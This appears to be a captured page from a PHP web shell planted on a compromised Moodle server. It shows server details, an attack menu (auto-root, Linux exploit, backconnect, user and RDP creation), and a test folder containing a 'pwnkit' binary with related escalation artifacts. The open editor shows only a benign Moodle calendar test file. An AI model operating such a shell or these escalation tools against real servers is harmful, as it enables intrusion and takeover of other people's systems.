Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.51
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle.backup.39 /
calendar /
tests /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
behat
[ DIR ]
drwxrwxr-x
fixtures
[ DIR ]
drwxrwxr-x
.mad-root
0
B
-rw-r--r--
action_event_test.php
5.16
KB
-rw-rw-r--
action_factory_test.php
1.58
KB
-rw-rw-r--
action_test.php
2.58
KB
-rw-rw-r--
calendar_event_exporter_test.p...
10.96
KB
-rw-rw-r--
calendar_information_test.php
48.98
KB
-rw-rw-r--
calendartype_test.php
12.29
KB
-rw-rw-r--
calendartype_test_example.php
9.27
KB
-rw-rw-r--
cm_info_proxy_test.php
2.04
KB
-rw-rw-r--
container_test.php
21.84
KB
-rw-rw-r--
coursecat_proxy_test.php
2.26
KB
-rw-rw-r--
event_description_test.php
2.2
KB
-rw-rw-r--
event_factory_test.php
15.57
KB
-rw-rw-r--
event_mapper_test.php
12.43
KB
-rw-rw-r--
event_test.php
4.68
KB
-rw-rw-r--
event_times_test.php
2.93
KB
-rw-rw-r--
event_vault_test.php
45.3
KB
-rw-rw-r--
events_related_objects_cache_t...
5.33
KB
-rw-rw-r--
events_test.php
31.85
KB
-rw-rw-r--
externallib_test.php
108.04
KB
-rw-rw-r--
helpers.php
5.19
KB
-rw-rw-r--
lib_test.php
46.04
KB
-rw-rw-r--
local_api_test.php
57.21
KB
-rw-rw-r--
privacy_test.php
24.09
KB
-rw-rw-r--
pwnkit
10.99
KB
-rwxr-xr-x
raw_event_retrieval_strategy_t...
16.02
KB
-rw-rw-r--
repeat_event_collection_test.p...
7.17
KB
-rw-rw-r--
rrule_manager_test.php
115.35
KB
-rw-rw-r--
std_proxy_test.php
4.71
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : repeat_event_collection_test.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Repeat event collection tests. * * @package core_calendar * @copyright 2017 Ryan Wyllie <ryan@moodle.com> * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ defined('MOODLE_INTERNAL') || die(); global $CFG; require_once($CFG->dirroot . '/calendar/lib.php'); use core_calendar\local\event\entities\event; use core_calendar\local\event\entities\repeat_event_collection; use core_calendar\local\event\proxies\coursecat_proxy; use core_calendar\local\event\proxies\std_proxy; use core_calendar\local\event\value_objects\event_description; use core_calendar\local\event\value_objects\event_times; use core_calendar\local\event\factories\event_factory_interface; /** * Repeat event collection tests. * * @copyright 2017 Ryan Wyllie <ryan@moodle.com> * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class core_calendar_repeat_event_collection_testcase extends advanced_testcase { /** * Test that the collection id is set to the parent id if the repeat id * is falsey. */ public function test_parent_id_no_repeat_id() { $this->resetAfterTest(true); $dbrow = (object) [ 'id' => 123122131, 'repeatid' => null ]; $factory = new core_calendar_repeat_event_collection_event_test_factory(); $collection = new repeat_event_collection($dbrow, $factory); $this->assertEquals($dbrow->id, $collection->get_id()); } /** * Test that the repeat id is set to the parent id if the repeat id * is not falsey (even if the parent id is provided). */ public function test_parent_id_and_repeat_id() { $this->resetAfterTest(true); $dbrow = (object) [ 'id' => 123122131, 'repeatid' => 5647839 ]; $factory = new core_calendar_repeat_event_collection_event_test_factory(); $collection = new repeat_event_collection($dbrow, $factory); $this->assertEquals($dbrow->repeatid, $collection->get_id()); } /** * Test that an empty collection is valid. */ public function test_empty_collection() { $this->resetAfterTest(true); $this->setAdminUser(); $event = $this->create_event([ // This causes the code to set the repeat id on this record // but not create any repeat event records. 'repeat' => 1, 'repeats' => 0 ]); $dbrow = (object) [ 'id' => $event->id, 'repeatid' => null ]; $factory = new core_calendar_repeat_event_collection_event_test_factory(); // Event collection with no repeats. $collection = new repeat_event_collection($dbrow, $factory); $this->assertEquals($event->id, $collection->get_id()); $this->assertEquals(0, $collection->get_num()); $this->assertNull($collection->getIterator()->next()); } /** * Test that a collection with values behaves correctly. */ public function test_values_collection() { $this->resetAfterTest(true); $this->setAdminUser(); $factory = new core_calendar_repeat_event_collection_event_test_factory(); $event = $this->create_event([ // This causes the code to set the repeat id on this record // but not create any repeat event records. 'repeat' => 1, 'repeats' => 0 ]); $parentid = $event->id; $dbrow = (object) [ 'id' => $parentid, 'repeatid' => null ]; $repeats = []; for ($i = 1; $i < 4; $i++) { $record = $this->create_event([ 'name' => sprintf('repeat %d', $i), 'repeatid' => $parentid ]); // Index by name so that we don't have to rely on sorting // when doing the comparison later. $repeats[$record->name] = $record; } // Event collection with no repeats. $collection = new repeat_event_collection($dbrow, $factory); $this->assertEquals($parentid, $collection->get_id()); $this->assertEquals(count($repeats), $collection->get_num()); foreach ($collection as $index => $event) { $name = $event->get_name(); $this->assertEquals($repeats[$name]->name, $name); } } /** * Helper function to create calendar events using the old code. * * @param array $properties A list of calendar event properties to set * @return calendar_event */ protected function create_event($properties = []) { $record = new \stdClass(); $record->name = 'event name'; $record->eventtype = 'global'; $record->repeat = 0; $record->repeats = 0; $record->timestart = time(); $record->timeduration = 0; $record->timesort = 0; $record->type = 1; $record->courseid = 0; $record->categoryid = 0; foreach ($properties as $name => $value) { $record->$name = $value; } $event = new calendar_event($record); return $event->create($record, false); } } /** * Test event factory. * * @copyright 2017 Ryan Wyllie <ryan@moodle.com> * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class core_calendar_repeat_event_collection_event_test_factory implements event_factory_interface { public function create_instance(\stdClass $dbrow) { $identity = function($id) { return $id; }; return new event( $dbrow->id, $dbrow->name, new event_description($dbrow->description, $dbrow->format), new coursecat_proxy($dbrow->categoryid), new std_proxy($dbrow->courseid, $identity), new std_proxy($dbrow->groupid, $identity), new std_proxy($dbrow->userid, $identity), $dbrow->repeatid ? new repeat_event_collection($dbrow, $this) : null, new std_proxy($dbrow->instance, $identity), $dbrow->type, new event_times( (new \DateTimeImmutable())->setTimestamp($dbrow->timestart), (new \DateTimeImmutable())->setTimestamp($dbrow->timestart + $dbrow->timeduration), (new \DateTimeImmutable())->setTimestamp($dbrow->timesort ? $dbrow->timesort : $dbrow->timestart), (new \DateTimeImmutable())->setTimestamp($dbrow->timemodified) ), !empty($dbrow->visible), new std_proxy($dbrow->subscriptionid, $identity) ); } }
Close